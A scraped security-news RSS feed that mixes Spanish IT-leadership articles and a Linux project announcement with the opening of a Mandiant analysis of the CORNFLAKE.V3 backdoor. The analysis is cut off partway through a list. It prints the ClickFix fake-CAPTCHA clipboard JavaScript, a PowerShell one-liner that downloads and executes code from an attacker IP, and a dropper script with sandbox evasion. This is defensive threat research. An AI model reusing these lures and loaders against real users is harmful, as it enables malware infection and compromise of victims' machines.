<p><strong>Anticiparse al reto del cumplimiento normativo global</strong>. Rosenfeld aconseja a las organizaciones globales que dejen de tratar el cumplimiento normativo global como un problema del departamento jurídico que ocasionalmente afecta a TI. “Pertenece a TI: los flujos de datos, los controles de acceso, los requisitos de residencia, etc.”, subraya. “Son decisiones técnicas con consecuencias legales, y si esperas a que el departamento jurídico te diga qué desarrollar, ya vas con retraso. Anticípate, traza un mapa de dónde van realmente tus datos y toma las riendas de esa conversación”.</p>



<p><strong>Invertir en talento</strong>. En lo que respecta al personal, invierte en talento especializado y no subestimes la importancia de la retención, dice Tamošaitis. “Las fricciones geopolíticas y la complejidad normativa requieren profesionales de TI con un profundo conocimiento del sector; personas que entiendan la normativa de aviación, los controles de exportación o la soberanía de datos, no solo la tecnología. Ese talento ya es escaso y lo será aún más. Crea programas de formación, trayectorias profesionales y el tipo de entorno en el que esas personas quieran quedarse”.</p>



<p><strong>El liderazgo importa</strong>. Al tiempo que tranquilizas a tus consejos de administración, mantén también informados a tus empleados. Moccia afirma que los líderes deben seguir siendo transparentes y visibles ante toda la organización de TI y compartir las perspectivas de la alta dirección sobre el impacto de la volatilidad en la empresa y lo que el liderazgo está haciendo para minimizarlo.</p>



<p><strong>No descuidar el bienestar personal</strong>. Moccia también aconseja a los líderes de TI que no se olviden del cuidado personal. “El trabajo de cualquier directivo de alto nivel es intenso y constante. La volatilidad no es más que otra variante del cambio y el caos en su día a día, por lo que mantener a raya los niveles de estrés personal es más importante que nunca, sea cual sea la forma que esto adopte para el director de sistemas de información (CIO) a nivel personal”.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Scotty v8.3: un runtime adaptativo con modelo de campo resonante para gobernanza emergente de la CPU en Linux]]></title>
<description><![CDATA[Acabo de liberar Scotty v8.3, un runtime para Linux que gestiona el scaling governor de la CPU de forma autónoma. No usa reglas fijas: mantiene un campo resonante de 8 nodos cuyas interacciones determinan el governor más adecuado en cada momento. Además, monitorea la temperatura/uso de la GPU y p...]]></description>
<link>https://tsecurity.de/de/3507380/linux-tipps/scotty-v83-un-runtime-adaptativo-con-modelo-de-campo-resonante-para-gobernanza-emergente-de-la-cpu-en-linux/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3507380/linux-tipps/scotty-v83-un-runtime-adaptativo-con-modelo-de-campo-resonante-para-gobernanza-emergente-de-la-cpu-en-linux/</guid>
<pubDate>Mon, 11 May 2026 16:27:51 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Acabo de liberar Scotty v8.3, un runtime para Linux que gestiona el scaling governor de la CPU de forma autónoma. No usa reglas fijas: mantiene un campo resonante de 8 nodos cuyas interacciones determinan el governor más adecuado en cada momento. Además, monitorea la temperatura/uso de la GPU y perturba el campo para que el sistema migre naturalmente a performance cuando hace falta, sin que nadie le ordene hacerlo.</p> <p>Está escrito en Python, es modular (core, resonance, topology, memory) e incluye protección térmica, control de procesos abusivos y memoria persistente. Lo probé en Manjaro KDE con Intel+NVIDIA.</p> <p>Repo: <a href="https://github.com/maullo-tech/scotty">https://github.com/maullo-tech/scotty</a><br> Licencia: GPL-3.0</p> <p>Feedback bienvenido.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/maullo"> /u/maullo </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1ta4xef/scotty_v83_un_runtime_adaptativo_con_modelo_de/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1ta4xef/scotty_v83_un_runtime_adaptativo_con_modelo_de/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[8 consejos para convertirse en un líder de TI más ágil]]></title>
<description><![CDATA[Nuestro mundo gira tan rápido que es fácil desviarse de los objetivos previstos. Y no es solo la tecnología la que está impulsando el cambio. El clima empresarial, las condiciones económicas, las reglas de juego e incluso los sistemas de creencias y los comportamientos de las personas cambian tan...]]></description>
<link>https://tsecurity.de/de/3506318/it-nachrichten/8-consejos-para-convertirse-en-un-lder-de-ti-ms-gil/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3506318/it-nachrichten/8-consejos-para-convertirse-en-un-lder-de-ti-ms-gil/</guid>
<pubDate>Mon, 11 May 2026 11:03:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Nuestro mundo gira tan rápido que es fácil desviarse de los objetivos previstos. Y no es solo la tecnología la que está impulsando el cambio. El clima empresarial, las condiciones económicas, las reglas de juego e incluso los sistemas de creencias y los comportamientos de las personas cambian tan rápido que seguir el ritmo resulta tan complicado como perseguir a un guepardo con patines.</p>



<p>Ser un líder en este clima implica perfeccionar la capacidad propia para dar un giro, tirar la toalla o lanzarse en pos de una nueva oportunidad con muy poco tiempo de preparación. No se puede tomar una decisión, instalar un sistema o asignar un equipo a un proyecto y luego pasar a otra cosa, como quizá se hacía hace unos pocos años. Hay que ser capaz de cambiar de opinión, admitir que ya no se respalda una decisión, que no se tiene confianza en un proyecto concreto, y fijar un nuevo rumbo hacia un destino mejor.</p>



<p>En consecuencia, se impone disponer de una mente ágil y una visión del mundo flexible para mantener el liderazgo hoy en día. Pero, ¿cómo se consigue eso?</p>



<p>He hablado con expertos y líderes de TI que han luchado por dominar esta habilidad y lo han conseguido. Estos son los trucos de agilidad que emplean para mantenerse flexibles.</p>



<h2 class="wp-block-heading">Siga haciendo preguntas</h2>



<p>Sathish Muthukrishnan, director de información, datos y digital de Ally Financialm confiesa que “históricamente, los CIO llegan a una organización, evalúan y luego intentan aportar valor. Eso podía llevar un año. Luego dedicaban otros seis meses a desarrollar la estrategia. A partir del tercer año, es posible que implementen la estrategia. Ese era el manual tradicional”.</p>



<p>Por lo tanto, este analista considera que el ritmo actual del cambio es, en sí mismo, un giro enorme para un rol tan complejo.</p>



<p>Por eso cree que el primer paso para convertirse en un líder ágil consiste en aceptar que el viejo manual no funcionará. El segundo paso, dice, es seguir haciendo preguntas.</p>



<p>“Hago preguntas para profundizar en mi comprensión, para orientarme. ¿Ha cambiado el contexto? ¿Ha cambiado la tecnología? ¿Ha cambiado la gente? Si es así, ¿por qué seguimos haciendo lo que hacíamos hace tres, cuatro o cinco meses?”.</p>



<p>Muthukrishnan defiende que algunas cosas que no han cambiado. El aprendizaje es el mismo, aunque lo que se aprende y la forma de aplicarlo son diferentes. Y la necesidad del liderazgo de una persona no ha hecho más que aumentar.</p>



<p>“Las cualidades humanas que te distinguen como líder están cobrando aún más relevancia en un mundo donde prima la IA. Ya no es el “Soy el experto. Lo sé. He hecho esto, he visto esto” lo que te distingue, sino el valor de decir: “No estoy atado a mis creencias anteriores. Las estoy cambiando por esta razón. Estoy dando un giro por estas razones. El valor y la convicción van de la mano”.</p>



<h2 class="wp-block-heading">Confíe en la navegación… y en sus equipos</h2>



<p>Manny Rivelo, director ejecutivo de ConnectWise, es de la opinión de que “hay que liderar con propósito y claridad. Eso es importante para la organización. Pero se necesita mucha flexibilidad a la hora de la ejecución”.</p>



<p>Como un barco en un mar embravecido, hay que tener un destino en mente. Llegar hasta allí, sin embargo, requiere navegar a través de mucha agitación.</p>



<p>Segú Rivelo, “hay que ser capaz de responder rápidamente al cambio. Puede ser cualquier cosa, desde un cambio en el mercado, la tecnología o retos organizativos internos. No quieres perder de vista esa estrategia a largo plazo, pero puede que tengas que dar un giro sobre la marcha. No se trata sólo de avanzar con rapidez, sino con flexibilidad”.</p>



<p>Al igual que ese barco que navega por mares agitados, hay que obtener lecturas precisas y confiar en que los navegantes saben cómo capear el caos.</p>



<p>De ahí que admita que “la forma de recopilar información es importante. Yo lo veo como una relación señal-ruido. ¿Cuál es la señal que le impulsa a ir a algún sitio y qué es sólo ruido? ¿Cómo elimina el ruido para poder centrarse en lo que le dice la señal?”.</p>



<p>Rivelo cree en los hechos y los datos. De ahí que reconozca que también hay que ser capaz de poner a prueba las propias suposiciones y, para ello, hay que confiar en el equipo.</p>



<p>Y aconseja “crear equipos diversos que estén dispuestos a cuestionar su forma de pensar. Según mi experiencia, eso no se puede enseñar. Hay que contratarlo”.</p>



<p>Rivelo profundiza mucho a la hora de contratar para encontrar personas con un historial de tener opiniones firmes y, sobre todo, de ser curiosas.</p>



<p>“La curiosidad es uno de los mayores dones que puedes tener como líder. Tiene que ser lo suficientemente curioso como para romper con sus propios hábitos y no dar por sentado que, porque hagamos las cosas de una determinada manera, tengamos que seguir haciéndolas así. La mejor idea debe ganar, venga de donde venga”.</p>



<h2 class="wp-block-heading">Vacíe su taza</h2>



<p>Una parábola dice que hay que vaciar la taza antes de poder llenarla. Para aprender, hay que aceptar que aún no se sabe algo.</p>



<p>“Para mí, ser ágil significa ver la verdad y no hacer suposiciones», dice la Dra. Akvile Ignotaite, fundadora y científica de datos en System Akvile. Y añade: “Me embarco en nuevos proyectos pensando: “Veamos qué podemos aprender”. Y aprendo de los datos”.</p>



<p>Suena sencillo. Pero cuando se ha alcanzado un puesto de liderazgo, probablemente lo haya conseguido gracias a su experiencia. Se ha acostumbrado a que la gente espere que sepa qué hacer. Dejar de lado ese papel de experta es, admite Ignotaite, un proceso.</p>



<p>Y lo explica así: “Intento mantener una mente muy abierta. Hago suposiciones y luego las comparo con los datos y el comportamiento reales de los usuarios. No puedo saberlo todo. Vivimos a un ritmo demasiado rápido”.</p>



<h2 class="wp-block-heading">Utilice la “regla del hot-shot”</h2>



<p>Cada día está lleno de decisiones y responsabilidades. Es fácil dejarse llevar por eso y seguir avanzando hacia un objetivo sin detenerse a comprobar si va en la dirección correcta. Para mantener la flexibilidad, a Ingrid Curtis, directora ejecutiva de Sparq, le gusta comprobar con frecuencia la dirección del viento con lo que ella llama la “regla del<em> hot-shot</em>”</p>



<p>Lo explica de la siguiente manera: “Este no es un concepto que yo haya creado, sino un ejercicio mental que ayuda a las personas a desprenderse de una decisión, un camino o un progreso que ya no les sirve para sus propósito”.</p>



<p>Y continúa: “Imagine que lo han despedido. ¿Quién es el pez gordo que viene a tomar el relevo? ¿Qué crees que hará él o ella que usted no estás haciendo?”</p>



<p>El pez gordo puede ser un personaje de ficción o un líder real del mundo tecnológico o empresarial.</p>



<p>Es más, Curtis considera que “hay un montón de grandes y audaces emprendedores entre los que elegir. Vienen con una personalidad arrolladora. Y hemos visto que eso ha metido a algunos de ellos —el fundador de WeWork, Elizabeth Holmes y otros— en serios problemas. Pero también hay admiración por este tipo de liderazgo descarado, del tipo “estoy dispuesto a hacer lo que sea necesario”.</p>



<p>Tanton es así, que considera sorprendente lo mucho que este juego permite a la gente desconectarse de los detalles y ver su trabajo con una perspectiva nueva. Por eso destaca lo fascinante que es ver cómo se desbloquean las ideas.</p>



<p>“Todos nos permitimos quedarnos atascados. Sin embargo, imagine que otra persona ignoraría esas restricciones autoimpuestas y sería capaz de llevar a cabo la tarea. De repente, con esa perspectiva, usted también eres capaz de hacerlo”, reflexiona Curtis.</p>



<h2 class="wp-block-heading">Reconsidere su enfoque de la toma de decisiones</h2>



<p>En opinión de Nik Kale, ingeniero principal de Cisco Systems, “todo el mundo enmarca la agilidad como un rasgo de personalidad: ser flexible, mantener la curiosidad, aceptar el cambio”. Y añade: “Todo eso está bien, pero la personalidad no es escalable”.</p>



<p>La agilidad, dice, tiene menos que ver con la mentalidad y más con la estructura.</p>



<p>“Los líderes adaptables no son los que tienen el temperamento más flexible. Son los que crean sistemas de toma de decisiones para absorber el cambio sin romperse”, afirma.</p>



<p>En su opinión, una parte importante de esta estructura consiste en clasificar las decisiones por importancia. Algunas decisiones son reversibles. Otras no lo son. Por lo tanto, esos dos tipos de decisiones deben clasificarse en grupos diferentes. Tómese su tiempo y reflexione sobre las decisiones no reversibles. Decida rápido y repita el proceso con las que son reversibles.</p>



<p>Kale afirma que muchos líderes hacen lo contrario. “Se agobian con cosas que no importan y se precipitan en las que sí importan”.</p>



<p>Para las decisiones reversibles, fije un momento en el que se detendrás a reevaluarlas.</p>



<p>“Anoto las fechas de reevaluación en el calendario”, dice. De esa forma, cambiar de opinión forma parte del proceso. Y añade: “No herirá el ego de nadie si hemos planeado reevaluar esa decisión”.</p>



<p>Según cree, esta estructura supera el riesgo al que se enfrentan los responsables de la toma de decisiones cuando cambian de opinión.</p>



<p>“Admitir que uno se ha equivocado, sale caro —en términos de reputación, carrera profesional y política— en la mayoría de las culturas corporativas. La gente se empeña en estrategias fallidas porque el coste de admitir que se han equivocado parece mayor que el coste del fracaso. El valor no debería ser un requisito previo para tomar buenas decisiones”.</p>



<h2 class="wp-block-heading">Tenga en cuenta que la permanencia es cosa del pasado</h2>



<p>Según Ram Palaniappan, director de tecnología de TEKsystems Global Services, cuando el software que se utiliza a diario cambia con tanta frecuencia, aferrarse a la idea de que cualquier cosa que decidas hoy no cambiará mañana es aferrarse a un mundo que ya no existe.</p>



<p>Reconoce que esto es especialmente cierto cuando se trabaja con IA. Cuando se toma una decisión sobre algo repetible y se delega el trabajo a la IA, es esencial verificar los resultados, ya que amplificará los errores. Esto también ayuda a aprender a confiar en la IA.</p>



<p>Este tipo de agilidad mental, afirma —tomar decisiones que estás dispuesto a deshacer si el resultado no cumple las expectativas— requiere que las personas se mantengan alertas y sigan aprendiendo. Y considera que esto se aplica tanto a los líderes como a equipos enteros, añade.</p>



<p>“Pedimos a nuestros equipos que dediquen un porcentaje de su tiempo a mejorar sus habilidades”, afirma, para añadir: “Establecemos objetivos. Proporcionamos una ruta de aprendizaje. Luego les permitimos aplicar lo que aprenden en un laboratorio”.</p>



<p>Por eso destaca que la idea es aprender a dejar atrás cómo eran las cosas antes.</p>



<p>Y lo explica así: “Las empresas tecnológicas cambian sus productos, a veces a diario. Todos tenemos que ser capaces de movernos así”.</p>



<p>En  consecuencia, deje de lado la idea de que cualquier cosa que decida es permanente. Decida rápidamente. Luego compruebe cómo va esa decisión.</p>



<h2 class="wp-block-heading">Ejercite sus músculos emocionales</h2>



<p>Según Sarah Noll Wilson, fundadora de The Noll Wilson Group y autora de <em>Don’t Feed the Elephants</em>, muchos líderes técnicos creen que las emociones no tienen nada que ver con sus decisiones. Pero eso puede impedirte ver el poder que las emociones tienen sobre ellos.</p>



<p>A su juicio, “cuando desarrolla sus habilidades emocionales, accede a un mayor nivel de autoconciencia y humildad intelectual”.</p>



<p>La curiosidad es una de esas habilidades emocionales. “En lugar de hacerse temer descubrir una mala decisión, la curiosidad puede hacer que resulte divertido preguntarse —con interés e incluso emoción— en qué podría estar equivocado”, explica.</p>



<p>Otra habilidad emocional es dejar de lado la idea de que lo que se necesita es su experiencia.</p>



<p>Wilson cree que “algunos problemas son técnicos”. Y lo explica así: “Esos son claros y normalmente se resuelven con experiencia. Pero otros son retos de adaptación. En ese caso, el problema puede no estar claro y resolverlo requiere aprendizaje, no experiencia”.</p>



<p>El miedo es otra emoción que impulsa la resistencia al cambio. Esta experta cree que la gente no teme al cambio, sino a la pérdida. “Pregúntese: “¿Qué estoy perdiendo?” o “¿Qué temo perder?”.</p>



<p>A modo de ejemplo explica que una de las prácticas que utiliza su equipo para aumentar la autoconciencia emocional es una auditoría del coraje. Se trata de un proceso en el que los líderes examinan lo que quieren ser —un líder ágil, por ejemplo— y analizan los comportamientos que entran en conflicto con ese objetivo.</p>



<p>“Una pregunta que puede hacerse es: “¿Qué hago o dejo de hacer que entra en conflicto con ser un líder ágil? ¿Protejo mis ideas o las de mi equipo? ¿Descartó las ideas de personas que no están en mi campo o en mi grupo? ¿Quién puede aportar ideas? ¿Quién no?”.</p>



<p>Estos ejercicios están diseñados para aumentar su conciencia de las reacciones emocionales que afectan a tus decisiones y para ayudarle a desarrollar la capacidad de sentirse cómodo con la incertidumbre.</p>



<h2 class="wp-block-heading">Cambie la forma de medir y crear</h2>



<p>Según Shahrzad Rafati, fundadora y directora ejecutiva de RHEI, mantener una perspectiva flexible requiere que cambie de forma fundamental la manera en que crea tecnología y mide el éxito.</p>



<p>“Cuando pasa dos años creando una herramienta empresarial, su ego se vincula a su implementación. Pierde agilidad porque está implicado financiera y emocionalmente en la solución, en lugar de en el problema”, afirma.</p>



<p>Y añade: “En lugar de medir el éxito con métricas como el tiempo de actividad o los hitos de implementación, mida la mejora de la plantilla. Cuando su métrica sea “¿Ha mejorado el rendimiento humano y el pensamiento estratégico?”, no dudará en cancelar un proyecto fallido”.</p>



<p>El segundo paso, dice, es encontrar una forma de experimentar de forma rápida y económica. “Ya no vivimos en un mundo en el que la creación de prototipos cueste millones de dólares. Puede “programar de forma intuitiva” una idea, poner en marcha un agente especializado y probar sus capacidades casi al instante”.</p>



<p>Para concluir, recomienda “aprovechar esto en su beneficio reduciendo lo que se juega en sus experimentos. Si probar una hipótesis no cuesta nada, su disposición a abandonar una mala idea y admitir que se ha equivocado aumenta exponencialmente”.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[A Cereal Offender: Analyzing the CORNFLAKE.V3 Backdoor]]></title>
<description><![CDATA[Written by: Marco Galli

Welcome to the Frontline Bulletin Series
Straight from Mandiant Threat Defense, the "Frontline Bulletin" series brings you the latest on the most intriguing compromises we are seeing in the wild right now, equipping our community to understand and respond to the most comp...]]></description>
<link>https://tsecurity.de/de/3504173/it-security-nachrichten/a-cereal-offender-analyzing-the-cornflakev3-backdoor/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3504173/it-security-nachrichten/a-cereal-offender-analyzing-the-cornflakev3-backdoor/</guid>
<pubDate>Sun, 10 May 2026 08:09:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Marco Galli</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Welcome to the Frontline Bulletin Series</span></h3>
<p><span>Straight from </span><a href="https://cloud.google.com/security/products/mandiant-managed-threat-hunting"><span>Mandiant Threat Defense</span></a><span>, the "Frontline Bulletin" series brings you the latest on the most intriguing compromises we are seeing in the wild right now, equipping our community to understand and respond to the most compelling threats we observe. This edition dissects an infection involving two threat groups, UNC5518 and UNC5774, leading to the deployment of CORNFLAKE.V3.</span></p>
<h3><span>Introduction</span></h3>
<p><span>Since June 2024, Mandiant Threat Defense has been tracking UNC5518, a financially motivated threat cluster compromising legitimate websites to serve fake CAPTCHA verification pages. This deceptive technique, known as </span><code>ClickFix</code><span>, lures website visitors into executing a downloader script which initiates a malware infection chain. UNC5518 appears to partner with clients or affiliates who use access obtained by the group to deploy additional malware.</span></p>
<p><span>While the initial compromise and fake CAPTCHA deployment are orchestrated by UNC5518, the payloads served belong to other threat groups. UNC5518 utilizes downloader scripts that function as an access-as-a-service. Several distinct threat actors have been observed leveraging the access provided by UNC5518, including:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>UNC5774: A financially motivated group known to use CORNFLAKE backdoor to deploy a variety of subsequent payloads.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>UNC4108: A threat cluster with unknown motivation, observed using PowerShell to deploy various tools like VOLTMARKER and NetSupport RAT, and conducting reconnaissance.</span></p>
</li>
</ul>
<p><span>This blog post details a campaign where Mandiant identified UNC5518 deploying a downloader that delivers CORNFLAKE.V3 malware. Mandiant attributes the CORNFLAKE.V3 samples to UNC5774, a distinct financially motivated actor that uses UNC5518's access-as-a-service operation as an entry vector into target environments.</span></p>
<h3><span>The CORNFLAKE Family</span></h3>
<p><span>CORNFLAKE.V3 is a backdoor, observed as two variants, written in JavaScript or PHP (PHP Variant</span><span>) that retrieves payloads via HTTP. Supported payload types include shell commands, executables and dynamic link libraries (DLLs). Downloaded payloads are written to disk and executed. CORNFLAKE.V3 collects basic system information and sends it to a remote server via HTTP. CORNFLAKE.V3 has also been observed abusing Cloudflare Tunnels to proxy traffic to remote servers.</span></p>
<p><span>CORNFLAKE.V3 is an updated version of CORNFLAKE.V2, sharing a significant portion of its codebase. Unlike V2, which functioned solely as a downloader, V3 features host persistence via a registry Run key, and supports additional payload types.</span></p>
<p><span>The original CORNFLAKE malware differed significantly from later iterations, as it was written in C. This first variant functioned as a downloader, gathering basic system information and transmitting it via TCP to a remote server. Subsequently, it would download and execute a payload.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Malware Family</strong></p>
</td>
<td>
<p><strong>CORNFLAKE</strong></p>
</td>
<td>
<p><strong>CORNFLAKE.V2</strong></p>
</td>
<td>
<p><strong>CORNFLAKE.V3</strong></p>
</td>
</tr>
<tr>
<td>
<p><strong>Language</strong></p>
</td>
<td>
<p><span>C</span></p>
</td>
<td>
<p><span>JS</span></p>
</td>
<td>
<p><span>JS or PHP</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Type</strong></p>
</td>
<td>
<p><span>Downloader</span></p>
</td>
<td>
<p><span>Downloader</span></p>
</td>
<td>
<p><span>Backdoor</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>C2 Communication</strong></p>
</td>
<td>
<p><span>TCP socket (XOR encoded)</span></p>
</td>
<td>
<p><span>HTTP (XOR encoded)</span></p>
</td>
<td>
<p><span>HTTP (XOR encoded)</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Payload types</strong></p>
</td>
<td>
<p><span>DLL</span></p>
</td>
<td>
<p><span>DLL,EXE,JS,BAT</span></p>
</td>
<td>
<p><span>DLL,EXE,JS,BAT,PS</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Persistence</strong></p>
</td>
<td>
<p><span>No</span></p>
</td>
<td>
<p><span>No</span></p>
</td>
<td>
<p><span>Registry Run key</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div><span>Table 1: Comparison of CORNFLAKE malware variants</span></div>
</div></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/cornflake-fig1.max-1000x1000.jpg" alt="The observed CORNFLAKE.V3 (Node.js) attack lifecycle">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="2bogi">Figure 1: The observed CORNFLAKE.V3 (Node.js) attack lifecycle</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Initial Lead</span></h3>
<p><span>Mandiant Threat Defense responded to suspicious PowerShell activity on a host resulting in the deployment of the CORNFLAKE.V3 backdoor.</span></p>
<p><span>Mandiant observed that a PowerShell script was executed via the Run command using the </span><code>Windows+R</code> <span>shortcut. Evidence of this activity was found in the </span><code>HKEY_USERS\User\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU</code><span> registry key, containing the following entry which resulted in the download and execution of the next payload:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>Name: a
Value: powershell -w h -c 
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"\1</code></pre></div>
<div class="block-paragraph_advanced"><p><span>The </span><code>RunMRU</code> <span>registry key stores the history of commands entered into the Windows </span><code>Run</code><span> (shortcut </span><code>Windows+R</code><span>) dialog box.</span></p>
<p><span>The execution of malicious scripts using the </span><code>Windows+R</code><span> shortcut is often indicative of users who have fallen victim to ClickFix lure pages. Users typically land on such pages as a result of benign browsing leading to interaction with search results that employ SEO poisoning or malicious ads.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/cornflake-fig2.max-1000x1000.png" alt="Fake CAPTCHA verification (ClickFix) on an attacker-controlled webpage">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="9j1oq">Figure 2: Fake CAPTCHA verification (ClickFix) on an attacker-controlled webpage</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>As seen in the Figure 2, the user was lured into pasting a hidden script into the Windows Run dialog box which was automatically copied to the clipboard by the malicious web page when the user clicked on the image. The webpage accomplished this with the following JavaScript code:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>// An image with the reCAPTCHA logo is displayed on the webpage
&lt;div class="c" id="j"&gt;
  &lt;img src="https://www.gstatic[.]com/recaptcha/api2/logo_48.png" 
alt="reCAPTCHA Logo"&gt;
  &lt;span&gt;I'm not a robot&lt;/span&gt;
&lt;/div&gt;

// The malicious script is saved in variable _0xC
var _0xC = "powershell -w h -c 
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"\1";

// When the image is clicked, the script is copied to the clipboard
document.getElementById("j").onclick = function(){ 
var ta = document.createElement("textarea");
ta.value = _0xC;
document.body.appendChild(ta);
ta.select();
document.execCommand("copy");</code></pre></div>
<div class="block-paragraph_advanced"><p><span>The PowerShell command copied to clipboard is designed to download and execute a script from the remote server </span><code>138.199.161[.]141:8080/$u</code><span>, where </span><code>$u</code><span> </span><span>indicates the UNIX epoch timestamp of the download.</span></p>
<p><span>As a result, the PowerShell process connects to the aforementioned IP address and port with URL path </span><code>1742214432</code> <span>(UNIX epoch timestamp), as shown in the following HTTP GET request:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>GET /1742214432 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) 
WindowsPowerShell/5.1.19041.5486
Host: 138.199.161[.\]141:8080
Connection: Keep-Alive</code></pre></div>
<div class="block-paragraph_advanced"><p><span>The following PowerShell dropper script, similar to </span><code>1742214432</code><span>,</span><span> was recovered from a threat-actor controlled server during the investigation of a similar CORNFLAKE.V3 compromise:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code># Get computer manufacturer for evasion check.
$Manufacturer = Get-WmiObject Win32_ComputerSystem | Select-Object 
-ExpandProperty Manufacturer
# Exit if running in QEMU (VM detection).
if ($Manufacturer -eq "QEMU") {
    exit 0;
}

# Get memory info for evasion check.
$TotalMemoryGb = 
(Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB
$AvailableMemoryGb = 
(Get-CimInstance Win32_OperatingSystem).FreePhysicalMemory / 1MB 
$UsedMemoryGb = $TotalMemoryGb - $AvailableMemoryGb 
# Exit if total memory is low or calculated "used" memory is low 
(possible sandbox detection).
if ($TotalMemoryGb -lt 4 -or $UsedMemoryGb -lt 1.5) {
    exit 0
}
# Exit if computer name matches default pattern 
(possible sandbox detection).
if ($env:COMPUTERNAME -match "DESKTOP-S*") {
    exit 0
}

# Pause execution briefly.
sleep 1

# Define download URL (defanged).
$ZipURL = "hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip"
# Define destination folder (AppData).
$DestinationFolder = [System.IO.Path]::Combine($env:APPDATA, "")
# Define temporary file path for download.
$ZipFile = [System.IO.Path]::Combine($env:TEMP, "downloaded.zip")

# Download the Node.js zip file.
iwr -Uri $ZipURL -OutFile $ZipFile

# Try block for file extraction using COM objects.
try {
	$Shell = New-Object -ComObject Shell.Application
	$ZIP = $Shell.NameSpace($ZipFile)
	$Destination = $Shell.NameSpace($DestinationFolder)
	# Copy/extract contents silently.
	$Destination.CopyHere($ZIP.Items(), 20)
}
# Exit on any extraction error.
catch {
	exit 0
}

# Update destination path to the extracted Node.js folder.
$DestinationFolder = [System.IO.Path]::Combine($DestinationFolder, 
"node-v22.11.0-win-x64")
# Base64 encoded payload (large blob containing the CORNFLAKE.V3 sample).
$BASE64STRING =&lt;Base-64 encoded CORNFLAKE.V3 sample&gt;
# Decode the Base64 string.
$BINARYDATA = [Convert]::FromBase64String($BASE64STRING)
# Convert decoded bytes to a string (the payload code).
$StringData = [System.Text.Encoding]::UTF8.GetString($BINARYDATA)
# Path to the extracted node.exe.
$Node = [System.IO.Path]::Combine($DestinationFolder, "node.exe")

# Start node.exe to execute the decoded string data as JavaScript, hidden.
start-process -FilePath "$Node" -ArgumentList "-e `"$StringData`"" 
-WindowStyle Hidden</code></pre></div>
<div class="block-paragraph_advanced"><p><span>The PowerShell dropper’s execution includes multiple steps:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Check if it is running inside a virtual machine and, if true, exit</span></p>
</li>
<li aria-level="1">
